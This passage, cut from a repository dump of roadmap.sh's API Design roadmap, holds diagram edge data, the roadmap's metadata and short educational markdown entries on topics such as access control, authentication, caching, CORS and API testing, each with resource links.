       \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"JE12g5cqnwmgeTle14Vxw\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"iNsXTtcIHsI_i-mCfjGYn\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-yvdfoly5WHHTq2Puss355z2-iNsXTtcIHsI_i-mCfjGYny2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"JE12g5cqnwmgeTle14Vxw\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"At5exN7ZAx2IzY3cTCzHm\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-JE12g5cqnwmgeTle14Vxwy2-At5exN7ZAx2IzY3cTCzHmz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"At5exN7ZAx2IzY3cTCzHm\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"yvdfoly5WHHTq2Puss355\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-At5exN7ZAx2IzY3cTCzHmx2-yvdfoly5WHHTq2Puss355w1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"yvdfoly5WHHTq2Puss355\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"vZxdswGLHCPi5GSuXEcHJ\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-yvdfoly5WHHTq2Puss355y2-vZxdswGLHCPi5GSuXEcHJz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"yvdfoly5WHHTq2Puss355\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"a-_iIE7UdoXzD00fD9MxN\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-yvdfoly5WHHTq2Puss355y2-a-_iIE7UdoXzD00fD9MxNz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"yvdfoly5WHHTq2Puss355\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"J0enF8UTVzY3H4n3pbPIF\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-yvdfoly5WHHTq2Puss355y2-J0enF8UTVzY3H4n3pbPIFz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"yvdfoly5WHHTq2Puss355\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"W4WwTmgZGnWmiYsB0ezml\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-yvdfoly5WHHTq2Puss355y2-W4WwTmgZGnWmiYsB0ezmlz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"yvdfoly5WHHTq2Puss355\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"mXCKtLUvwVJkHrpHzOecq\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-yvdfoly5WHHTq2Puss355y2-mXCKtLUvwVJkHrpHzOecqz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"yvdfoly5WHHTq2Puss355\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"jXtqI8k4Abz-vr01IcpWL\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-yvdfoly5WHHTq2Puss355z2-jXtqI8k4Abz-vr01IcpWLw1\",\n      \"selected\": false,\n      \"type\": \"step\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"yvdfoly5WHHTq2Puss355\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"XzXLGjJr2F8Ln7gP0e5N8\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-yvdfoly5WHHTq2Puss355z2-XzXLGjJr2F8Ln7gP0e5N8w2\",\n      \"selected\": false,\n      \"type\": \"step\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"MKVcPM2EzAr2_Ieyp9Fu3\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"iA0C1mFlM_73GcL9XNJmF\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"id\": \"reactflow__edge-MKVcPM2EzAr2_Ieyp9Fu3y2-iA0C1mFlM_73GcL9XNJmFz1\"\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/api-design/api-design.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/api-design.json'\npdfUrl: '/pdfs/roadmaps/api-design.pdf'\norder: 9\nisForkable: false\nbriefTitle: 'API Design'\nbriefDescription: 'Step by step guide to learn how to design and build robust APIs.'\ntitle: 'API Design'\ndescription: 'Step by step guide to learn how to design and build robust APIs.'\nisNew: false\nhasTopics: true\nrenderer: 'editor'\ndimensions:\n  width: 968\n  height: 2317.91\ncourses:\n  - title: 'Complete Course to Master SQL'\n    description: 'Learn SQL from scratch with this comprehensive course'\n    link: 'https://roadmap.sh/courses/sql'\n    features:\n      - '55+ Lessons'\n      - 'AI Tutor'\n      - 'Coding Environment'\n      - 'Quizzes'\n      - 'Certification'\n    instructor:\n      name: 'Kamran Ahmed'\n      image: 'https://github.com/kamranahmedse.png'\n      title: 'Founder - roadmap.sh'\nschema:\n  headline: 'API Design'\n  description: 'Step by step guide to learn how to design and build robust APIs.'\n  imageUrl: 'https://roadmap.sh/roadmaps/api-design.png'\n  datePublished: '2023-05-17'\n  dateModified: '2023-05-17'\nseo:\n  title: 'API Design Roadmap'\n  description: 'Learn how to design and develop robust APIs with this community-driven API Design roadmap. It lists all the essential skills and tools you need to develop APIs.'\n  keywords:\n    - 'guide to becoming a api designer'\n    - 'guide to becoming an api engineer'\n    - 'api developer'\n    - 'api design roadmap 2025'\n    - 'api design roadmap'\n    - 'api engineer'\n    - 'api design engineer roadmap'\n    - 'api skills'\n    - 'guide to api'\n    - 'api roadmap'\n    - 'api skills'\n    - 'api skills test'\n    - 'skills for api'\n    - 'cloud development'\n    - 'what is api'\n    - 'api quiz'\n    - 'api interview questions'\n    - 'api engineer roadmap'\n    - 'api developer roadmap'\n    - 'api developer roadmap 2025'\n    - 'become an api developer'\n    - 'api developer career path'\n    - 'api developer'\n    - 'modern api developer'\nrelatedRoadmaps:\n  - 'backend'\n  - 'devops'\n  - 'python'\n  - 'golang'\n  - 'design-system'\n  - 'nodejs'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/api-design/content/abac@dZTe_kxIUQsc9N3w920aR.md",
    "content": "# Attribute Based Access Control (ABAC) - An Authorization Method in API Design\n\nAttribute Based Access Control (ABAC) is a flexible and powerful authorization method in the realm of API Design. Distinct from Role-Based Access Control (RBAC), which relies on predefined roles and permissions, ABAC uses attributes to build policies and make decisions. These attributes can be associated with the user, the action they want to perform, targeted resources, or the environment. With ABAC, finer-grained access control can be achieved, thereby improving the security and efficiency of APIs. This approach is widely used in complex and dynamic environments where access control requirements can be multifaceted and deeply context-dependent.\n\nVisit the following resources to learn more:\n\n- [@article@What is Attribute Based Access Control?](https://www.okta.com/uk/blog/2020/09/attribute-based-access-control-abac/)\n- [@article@Attribute Based Access Control](https://docs.aws.amazon.com/IAM/latest/UserGuide/introduction_attribute-based-access-control.html)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/api-documentation-tools@5R9yKfN1vItuv__HgCwP7.md",
    "content": "# API Documentation Tools\n\nAPI Documentation Tools are instrumental in conveying the intricacies of API design to both technical developers and non-technical stakeholders. These tools help in creating comprehensive, easy-to-understand, and searchable documentation encompassing all the elements of an API such as its functions, classes, return types, arguments, and more. Thorough documentation is central in API design as it fosters seamless adoption, effective implementation, and efficient troubleshooting of APIs. Various tools exist including Swagger, DapperDox, and ReDoc, each with unique functionalities to suit different API documentation requirements.\n\nVisit the following resources to learn more:\n\n- [@article@Swagger's Official Website](https://swagger.io/)\n- [@article@DapperDox's Official Website](http://dapperdox.io/)\n- [@article@ReDoc Documentation](https://github.com/Redocly/redoc)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/api-gateways@MJeUD4fOHaJu1oxk4uQ-x.md",
    "content": "# API Gateways\n\nAPI Gateways act as the main point of entry in a microservices architecture, often responsible for request routing, composition, and protocol translation. They play a significant role in API design by providing a shared layer to handle non-business tasks. This not only simplifies how consumers interact with the backend services but also helps in maintaining the security, enforcing policies, and providing analytics over the API usage. When designing APIs, understanding and implementing efficient API Gateways is an invaluable skill, as these gateways form a crucial component of any well-structured, scalable API architecture.\n\nVisit the following resources to learn more:\n\n- [@article@What does an API Gateway do?](https://www.redhat.com/en/topics/api/what-does-an-api-gateway-do)\n- [@article@What are API Gateways?](https://www.ibm.com/blog/api-gateway/)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/api-integration-patterns@R3aRhqCslwhegMfHtxg5z.md",
    "content": "# API Integration Patterns\n\nAPI Integration Patterns, in the context of API Design, refers to the common paradigms and approaches used to enable communication between services. These patterns dictate how different APIs interact and exchange data, allowing software applications to work cohesively. They play a vital role in application development by providing a standard method for connecting diverse software components. By understanding and implementing these patterns, developers can design more robust, scalable, and interoperable APIs.\n\nVisit the following resources to learn more:\n\n- [@article@API Integration Patterns - Dzone](https://dzone.com/refcardz/api-integration-patterns)\n- [@article@API Integration Patterns - Devoteam](https://uk.devoteam.com/expert-view/api-integration-patterns/)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/api-keys--management@tzUJwXu_scwQHnPPT0oY-.md",
    "content": "# API Keys & Management\n\nAPI keys and management is an integral part of API design. An API key is a unique identifier used to authenticate a user, developer, or calling program to an API. This ensures security and control over API endpoints, as only those with a valid API key can make requests. API Management, on the other hand, refers to the practices and tools that enable an organization to govern and monitor its API usage. It involves all the aspects of managing APIs including design, deployment, documentation, security, versioning, and analytics. Both elements play crucial roles in securing and organizing API access for efficient and controlled data sharing and communication.\n\nVisit the following resources to learn more:\n\n- [@article@What is API Key Management?](https://www.akeyless.io/secrets-management-glossary/api-key-management/)\n- [@article@API Key Management - Definition and Best Practices](https://infisical.com/blog/api-key-management)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/api-lifecycle-management@At5exN7ZAx2IzY3cTCzHm.md",
    "content": "# API Lifecycle Management\n\nAPI Lifecycle Management is a crucial aspect in API design that oversees the process of creating, managing, and retiring APIs. This involves various stages from initial planning, designing, testing, deployment, to eventual retirement of the API. Proper lifecycle management ensures that an API meets the requirements, is reliable, and that it evolves with the needs of end users and developers. Moreover, it helps in maintaining the security, performance, and accessibility of the API throughout its lifetime. This comprehensive approach enables organizations to make the most of their APIs, mitigate issues, and facilitate successful digital transformation.\n\nVisit the following resources to learn more:\n\n- [@article@What is the API Lifecycle?](https://www.postman.com/api-platform/api-lifecycle/)\n- [@article@What is API Lifecycle Management?](https://swagger.io/blog/api-strategy/what-is-api-lifecycle-management/)\n- [@video@Day in the Lifecycle of an API](https://www.youtube.com/watch?v=VxY_cz0VQXE)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/api-performance@d9ZXdU73jiCdeNHQv1_DH.md",
    "content": "# API Performance\n\nWhen we talk about API design, one crucial aspect that demands our attention is API Performance. API Performance refers to the efficiency and speed at which a developed API can execute tasks and communicate with other programs or software components. This fundamental aspect can directly impact the responsiveness of an application, determining how quickly data can be exchanged, processed, and presented to the end-user. Improving the API performance often resolves problems related to the user experience and enhances the overall performance of the application that the API is integrated with. API performance, therefore, plays a pivotal role both in facilitating optimized interactions between systems and in determining the overall success of the digital products that rely on such interfaces.\n\nVisit the following resources to learn more:\n\n- [@article@10 Tips for Improving API Performance](https://nordicapis.com/10-tips-for-improving-api-performance/)\n- [@video@Top 7 Ways to 10x Your API Performance](https://www.youtube.com/watch?v=zvWKqUiovAM)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/api-security@qIJ6dUppjAjOTA8eQbp0n.md",
    "content": "# API Security\n\nAPI Security refers to the practices and products that are used to secure application programming interfaces (APIs). In the context of design, it is an essential component that helps ensure that a deployed API achieves its objectives in a safe and secure manner. This includes safeguarding the data, preventing unauthorized access, and protecting the system that hosts the API. API security encompasses the strategies, procedures and technology used to protect APIs from malicious attacks or unauthorized access while guaranteeing optimum performance, availability, and data privacy.\n\nVisit the following resources to learn more:\n\n- [@article@OWASP Project API Security](https://owasp.org/API-Security/editions/2023/en/0x00-toc/)\n- [@feed@Explore top posts about Security](https://app.daily.dev/tags/security?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/api-testing@Wpk4TvxcZOJgAoXjrOsZF.md",
    "content": "# API Testing\n\nAPI Testing refers to the process of checking the functionality, reliability, performance, and security of Application Programming Interfaces (APIs). It plays a crucial role in API design as it ensures that the APIs work correctly and as expected. This kind of testing does not require a user interface and mainly focuses on the business logic layer of the software architecture. API Testing is integral to guarantee that the data communication and responses between different software systems are error-free and streamlined.\n\nVisit the following resources to learn more:\n\n- [@article@What is API Testing?](https://www.postman.com/api-platform/api-testing/)\n- [@article@API Testing : What It is, How to Test & Best Practices](https://testsigma.com/guides/api-testing/)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/attribute-based-access-control-abac@dZTe_kxIUQsc9N3w920aR.md",
    "content": "# Attribute Based Access Control (ABAC) - An Authorization Method in API Design\n\nAttribute Based Access Control (ABAC) is a flexible and powerful authorization method in the realm of API Design. Distinct from Role-Based Access Control (RBAC), which relies on predefined roles and permissions, ABAC uses attributes to build policies and make decisions. These attributes can be associated with the user, the action they want to perform, targeted resources, or the environment. With ABAC, finer-grained access control can be achieved, thereby improving the security and efficiency of APIs. This approach is widely used in complex and dynamic environments where access control requirements can be multifaceted and deeply context-dependent.\n\nVisit the following resources to learn more:\n\n- [@article@What is Attribute Based Access Control?](https://www.okta.com/uk/blog/2020/09/attribute-based-access-control-abac/)\n- [@article@Attribute Based Access Control](https://docs.aws.amazon.com/IAM/latest/UserGuide/introduction_attribute-based-access-control.html)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/authentication-methods@cQnQ9v3mH27MGNwetz3JW.md",
    "content": "# Authentication Methods in API Design\n\nApplication Programming Interfaces (APIs) are critical components in software development that allow different software systems to communicate and share functionality. To ensure secure communication, it's essential to authenticate the parties involved in the API transactions. The authentication process confirms the identity of the API user. There are numerous authentication methods available when designing an API, each with its own pros and cons. This includes Basic Authentication, API Key Authentication, OAuth, and JWT among others. Understanding these different methods and their best use cases is fundamental to designing secure and effective APIs.\n\nVisit the following resources to learn more:\n\n- [@article@API Authentication](https://www.postman.com/api-platform/api-authentication/)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/authorization-methods@nHbn8_sMY7J8o6ckbD-ER.md",
    "content": "# Authorization Methods in API Design\n\nIn API design, authorization methods play a crucial role in ensuring the security and integrity of data transactions. They are the mechanisms through which an API identifies and validates a user, system, or application before granting them access to specific resources. These methods include Basic Authentication, OAuth, Token-based authentication, JSON Web Tokens (JWT), and API Key based, among others. So, understanding these methods enhances the ability to design APIs that effectively protect resources while allowing necessary access. Each method has its own pros and cons, usage scenarios and security features that make them more suitable for certain situations rather than others.\n\nVisit the following resources to learn more:\n\n- [@article@API Authorization Methods](https://www.pingidentity.com/en/resources/identity-fundamentals/authorization/authorization-methods.html)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/basic-auth@0FzHERK5AeYL5wv1FBJbH.md",
    "content": "# Basic Auth in API Design\n\nBasic Auth, short for Basic Authentication, is a simple method often used in API design for handling user authentication. In this method, client credentials, consisting of a username and password pair, are passed to the API server in a field in the HTTP header. The server then verifies these credentials before granting access to protected resources. Although Basic Auth is straightforward to implement, it is less secure compared to more advanced methods since it involves transmitting credentials in an encoded, but not encrypted, format. It is often used in cases where simplicity is paramount, or High security levels are not required.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Basic Authentication](https://roadmap.sh/guides/basic-authentication)\n- [@article@Basic Auth Generation Header](https://www.debugbear.com/basic-auth-header-generator)\n- [@article@Basic Authentication - Swagger.io](https://swagger.io/docs/specification/authentication/basic-authentication/)\n- [@article@Basic Authentication - Twillio](https://www.twilio.com/docs/glossary/what-is-basic-authentication)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/basics-of-dns@v4nJYD9yiIEUviLPhVTCD.md",
    "content": "# Basics of DNS\n\nWhen discussing the foundational elements of API Design, the Basics of DNS (Domain Name System) can't be overlooked. DNS plays a fundamental role in the way APIs function, acting as the internet's equivalent of a phone book, it interprets human-friendly hostnames into IP addresses that APIs need for communication. Understanding this complex system is essential as it allows for better comprehension of the navigation and messaging flow in API Design. For API developers, knowledge about DNS can significantly aid in troubleshooting connectivity issues, ensuring secure connections, and optimizing API architecture with more efficient calls.\n\nVisit the following resources to learn more:\n\n- [@article@What is DNS?](https://www.cloudflare.com/en-gb/learning/dns/what-is-dns/)\n- [@article@Introduction to DNS](https://aws.amazon.com/route53/what-is-dns/)\n- [@article@DNS Record Crash Course for Web Developers](https://dev.to/chrisachard/dns-record-crash-course-for-web-developers-35hn)\n- [@video@DNS explained in 100 seconds](https://www.youtube.com/watch?v=UVR9lhUGAyU)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/batch-processing@X68HXAAV-nKo-V4Fu1o72.md",
    "content": "# Batch Processing in API Design\n\nBatch Processing refers to the method of handling bulk data requests in API design. Here, multiple API requests are packed and processed as a single group or 'batch'. Instead of making numerous individual API calls, a user can make one batch request with numerous operations. This approach can increase performance and efficiency by reducing the overhead of establishing and closing multiple connections. The concept of 'batch processing' in API design is particularly useful in data-intensive applications or systems where the need for processing high volumes of data is prevalent.\n\nVisit the following resources to learn more:\n\n- [@article@API Design Guidance: Bulk vs Batch Import](https://tyk.io/blog/api-design-guidance-bulk-and-batch-import/)\n- [@video@Stream vs Batch Processing Explained with Examples](https://www.youtube.com/watch?v=1xgBQTF24mU)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/best-practices@q1yaf-RbHIQsOqfzjn4k4.md",
    "content": "# Best Practices in API Design\n\nAPI design has rapidly emerged as a vital component of software development. When designing an API, it is crucial to follow best practices to ensure optimization, scalability, and efficiency. The best practices in API design revolve around principles such as simplicity, consistency, security, and proper documentation, among others. These practices not only smooth the development process but also make the API more user-friendly, stable, and easily maintainable. Thus, following the best practices in API design is not an option but rather a must for developers and organizations looking to create APIs that last longer and perform better.\n\nVisit the following resources to learn more:\n\n- [@roadmap@API Security Best Practices](https://roadmap.sh/api-security-best-practices)\n- [@article@Best Practices for REST API Design](https://stackoverflow.blog/2020/03/02/best-practices-for-rest-api-design/)\n- [@article@Best Practices in API Design](https://swagger.io/resources/articles/best-practices-in-api-design/)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/building-json--restful-apis@awdoiCHz7Yc3kYac_iy-a.md",
    "content": "# Building JSON / RESTful APIs\n\nBuilding JSON/RESTful APIs involves designing and implementing APIs that adhere to the architectural constraints of Representational State Transfer (REST). These APIs use JSON (JavaScript Object Notation) as a format for information interchange, due to its lightweight, easy-to-understand, and universally accepted nature. A well-designed RESTful API, utilizing JSON, is key in developing applications that are scalable, maintainable, and easily integrated with other systems. This design approach enables the resources on a server to be accessed and manipulated using standard HTTP protocols, facilitating communication between different services and systems. Furthermore, it enables client-server interactions to be stateless, meaning each request from a client must contain all the information needed by the server to understand and process the request.\n\nVisit the following resources to learn more:\n\n- [@official@Specification for Building APIs in JSON](https://jsonapi.org/)\n- [@article@How to Make a RESTful API](https://www.integrate.io/blog/how-to-make-a-rest-api/)\n- [@video@What is a REST API?](https://www.youtube.com/watch?v=lsMQRaeKNDk&t=170s)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/caching-strategies@PrvRCR4HCdGar0vcUbG_a.md",
    "content": "# Caching Strategies in API Design\n\nCaching in API design serves as a technique that allows you to store copies of data temporarily in places where you can access it more readily. By obtaining this data from high-speed storage rather than slower storage sources, you can help improve the overall speed and performance of the API. Multiple strategies such as HTTP caching, database caching, application caching, and CDN caching can be implemented, each with its own sets of advantages and considerations. Understanding different caching strategies in the context of API design is crucial for designing efficient, high-performing APIs.\n\nVisit the following resources to learn more:\n\n- [@article@Caching Strategies for APIs](https://medium.com/@satyendra.jaiswal/caching-strategies-for-apis-improving-performance-and-reducing-load-1d4bd2df2b44)\n- [@article@Using Caching Strategies to Improve API Performance](https://www.lonti.com/blog/using-caching-strategies-to-improve-api-performance)\n- [@video@Cache Systems Every Developer Should Know](https://www.youtube.com/watch?v=dGAgxozNWFE)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/ccpa@a-_iIE7UdoXzD00fD9MxN.md",
    "content": "# CCPA Under Standards and Compliance in API Design\n\nThe California Consumer Privacy Act (CCPA) is a pivotal state statute meant to enhance privacy rights and consumer protection for individuals within California, United States. API Design greatly impacts compliance with CCPA, as improper management and exposure of user data can potentially violate this law. Crucially, designing APIs means considering data privacy, security, and user consent from the very foundation. Programmatically, CCPA compliance may involve structuring APIs to respond to user demands such as data access, data deletion, and opt-out requests. It imposes a significant responsibility on API developers to enforce user control over data and maintain rigorous standards of data protection.\n\nVisit the following resources to learn more:\n\n- [@official@California Consumer Privacy Act (CCPA)](https://oag.ca.gov/privacy/ccpa)\n- [@article@What is the CCPA?](https://www.cloudflare.com/en-gb/learning/privacy/what-is-the-ccpa/)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/common-vulnerabilities@G70wvcOM1Isrx5ZBvS2xP.md",
    "content": "# Common Vulnerabilities in API Design\n\nAPI design is a critical component of modern software development, enabling various applications to communicate and share data. However, as the use of APIs expands, so does the potential for security vulnerabilities. Understanding common vulnerabilities in API design is crucial to protecting sensitive data and maintaining a secure system. These vulnerabilities might arise due to lack of proper validation, weak authentication mechanisms, insecure endpoint configurations among others.\n\nVisit the following resources to learn more:\n\n- [@article@API Vulnerability Overview](https://apimike.com/api-vulnerabilities)\n- [@article@Top API Vulnerabilities and 6 Ways to Mitigate Them](https://brightsec.com/blog/top-api-vulnerabilities-and-6-ways-to-mitigate-them/)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/content-negotiation@TX_hg7EobNJhmWKsMCaT1.md",
    "content": "# Content Negotiation in API Design\n\nIn the context of API design, Content Negotiation refers to the process where the client and the server communicate about the data representation which is acceptable for both of them. It allows clients to indicate the preferred response format, such as JSON, XML, or HTML. This mechanism leads to flexible and adaptable APIs, enhancing their usability. Understanding and efficiently utilizing content negotiation is an integral part of mastering API design basics.\n\nVisit the following resources to learn more:\n\n- [@article@Content Negotiation](https://developer.mozilla.org/en-US/docs/Web/HTTP/Content_negotiation)\n- [@article@Content Negotiation in Practice](https://softwaremill.com/content-negotiation-in-practice/)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/contract-testing@NqeBglhzukVMMEF9p2CXc.md",
    "content": "# Contract Testing in API Design\n\nContract Testing is a critical aspect of maintaining a robust and reliable API infrastructure. In the realm of API design, Contract Testing refers to the method of ensuring that APIs work as anticipated and that changes to them do not break their intended functionality. This approach validates the interaction between two different systems, typically consumer and provider ( API), ensuring they comply with their agreed-upon contract. By defining clear and concise contracts for our APIs, developers can avoid common deployment issues and enhance system integration processes.\n\nVisit the following resources to learn more:\n\n- [@article@Complete Guide to Contract Testing](https://testsigma.com/blog/api-contract-testing/)\n- [@article@Geting Started with API Contract Testing](https://saucelabs.com/resources/blog/getting-started-with-api-contract-testing)\n- [@article@Contract Testing](https://www.postman.com/templates/42247877-8529-429d-acba-4de20c3b5b3b/Contract-testing/)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/cookies@UFuX8wcxZQ7dvaQF_2Yp8.md",
    "content": "# Cookies in API Design\n\nCookies play an instrumental role in the field of API (Application Programming Interface) design. Essentially, cookies are small bits of data stored on a user's browser that enables stateful HTTP sessions, by storing pertinent information between server communications. In API design, cookies are especially useful when authentication is required. Cookies can store session tokens, thereby allowing users to stay logged in across multiple sessions or different web pages. Understanding cookies and how they function is vital in API design for sustaining user sessions, providing enhanced user experience, and securing user information.\n\nVisit the following resources to learn more:\n\n- [@article@What Are API Cookies? How to Send it?](https://apidog.com/articles/what-are-api-cookies/)\n- [@article@Using HTTP cookies - Mozilla](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/cors@GRlsBogOlOwuqhMMPyHN3.md",
    "content": "# CORS under API Design\n\nCross-Origin Resource Sharing (CORS) is a critical concept in API Design. It is a mechanism that uses HTTP headers to tell browsers to give a web application running at one origin, access to selected resources from a different origin. By default, web browsers prohibit web pages from making requests to a different domain than the one the web page came from. CORS is the guideline that lets you configure a set of rules on the server to define which types of cross-domain requests are allowed, providing much-needed flexibility without compromising security. Understanding CORS is crucial in designing APIs that ensure safe and effective inter-domain communication.\n\nVisit the following resources to learn more:\n\n- [@article@Cross-Origin Resource Sharing (CORS)](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS)\n- [@article@What is CORS?](https://aws.amazon.com/what-is/cross-origin-resource-sharing/)\n- [@video@CORS in 100 seconds](https://www.youtube.com/watch?v=4KHiSt0oLJ0)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/dac@_BXgYUlaYfpYrryXTw5n2.md",
    "content": "# Discretionary Access Control (DAC)\n\nDiscretionary Access Control (DAC) is an access control model where access to resources is determined by the owner of the resource. The owner has the discretion to grant or deny access to other users or groups. This means that users can control who has access to the resources they own, allowing for flexible and personalized access management.\n\nVisit the following resources to learn more:\n\n- [@article@Guide to Discretionary Access Control (DAC) With Examples](https://builtin.com/articles/discretionary-access-control)\n- [@article@Discretionary Access Control (DAC)](https://www.caldersecurity.co.uk/discretionary-access-control-dac/)\n- [@video@Discretionary Access Control](https://www.youtube.com/watch?v=KyCamjQd0Mk)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/different-api-styles@o8i093VQv-T5Qf1yGqU0R.md",
    "content": "# Different API Styles\n\nApplication Programming Interface (API) design isn't a one-size-fits-all endeavor. APIs can be structured in various styles, each with its own unique characteristics, advantages, and use cases. Early identification of the appropriate API style is crucial in ensuring a functional, efficient and seamless end-user experience. Commonly used API styles include REST, SOAP, GraphQL, and gRPC. Understanding these diverse API styles would help in making better design choices, fostering efficient overall system architecture, and promoting an intuitive and easy-to-use application.\n\nVisit the following resources to learn more:\n\n- [@article@API Styles](https://www.redhat.com/architect/api-styles)\n- [@video@Top API Styles](https://www.youtube.com/watch?v=4vLxWqE94l4)"
  },
  {
    "path": "src/data/roadmaps/api-design/content/error-handling--retries@XD1vDtrRQFbLyKJaD1AlA.md",
